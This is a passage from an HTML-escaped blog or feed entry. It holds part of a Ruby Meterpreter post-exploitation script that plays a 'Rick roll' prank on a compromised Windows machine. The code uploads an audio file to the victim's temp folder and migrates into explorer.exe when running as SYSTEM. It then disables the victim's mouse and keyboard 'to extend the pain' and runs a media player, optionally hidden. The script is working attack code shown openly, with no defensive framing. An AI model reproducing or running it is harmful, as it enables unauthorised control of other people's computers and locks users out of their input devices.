break&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; end&lt;br&gt;}&lt;/font&gt; &lt;/p&gt;&lt;p&gt;&lt;font face="Courier New"&gt;session = client&lt;/font&gt; &lt;/p&gt;&lt;p&gt;&lt;font face="Courier New"&gt;#upload file&lt;br&gt;print_status("Uploading file #{rick}")&lt;br&gt;uploadpath = session.fs.file.expand_path("%temp%") + "\\#{rand(100)}.mp3"&lt;br&gt;client.fs.file.upload_file(uploadpath, rick)&lt;br&gt;print_status("Uploaded file to #{uploadpath}")&lt;/font&gt; &lt;/p&gt;&lt;p&gt;&lt;font face="Courier New"&gt;if (session.sys.config.getuid == "NT AUTHORITY\\SYSTEM")&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; go = false&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; process2mig = "explorer.exe"&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; session.sys.process.get_processes().each do |x|&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (process2mig.index(x['name'].downcase))&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; print_status("\t#{process2mig} Process found, migrating..")&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; session.core.migrate(x['pid'].to_i)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; print_status("Migration Successful!!")&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; go = true&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; end&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; end&lt;br&gt;else&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; go = true&lt;br&gt;end&lt;/font&gt; &lt;/p&gt;&lt;p&gt;&lt;font face="Courier New"&gt;if (go)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (!mouse)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; print_status("Disabling mouse to extend the pain!")&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; session.ui.disable_mouse&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; end&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (!keyboard)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; print_status("Disabling keyboard to extend the pain!")&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; session.ui.disable_keyboard&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; end&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; print_status("Rick rolling!")&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; client.sys.process.execute("#{mediaplayer} \"#{uploadpath}\"", nil, {'Hidden' =&amp;gt; !visible})&lt;br&gt;else&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; print_status("Need logged in user to execute, cannot find explorer.exe to migrate")&lt;br&gt;end&lt;br&gt;&lt;/font&gt;&lt;/p&gt;&lt;font face="Courier New"&gt;&lt;/font&gt;&lt;p&gt;&lt;font face="Courier New"&gt;&lt;/font&gt;&lt;/p&gt;</content></entry></feed>
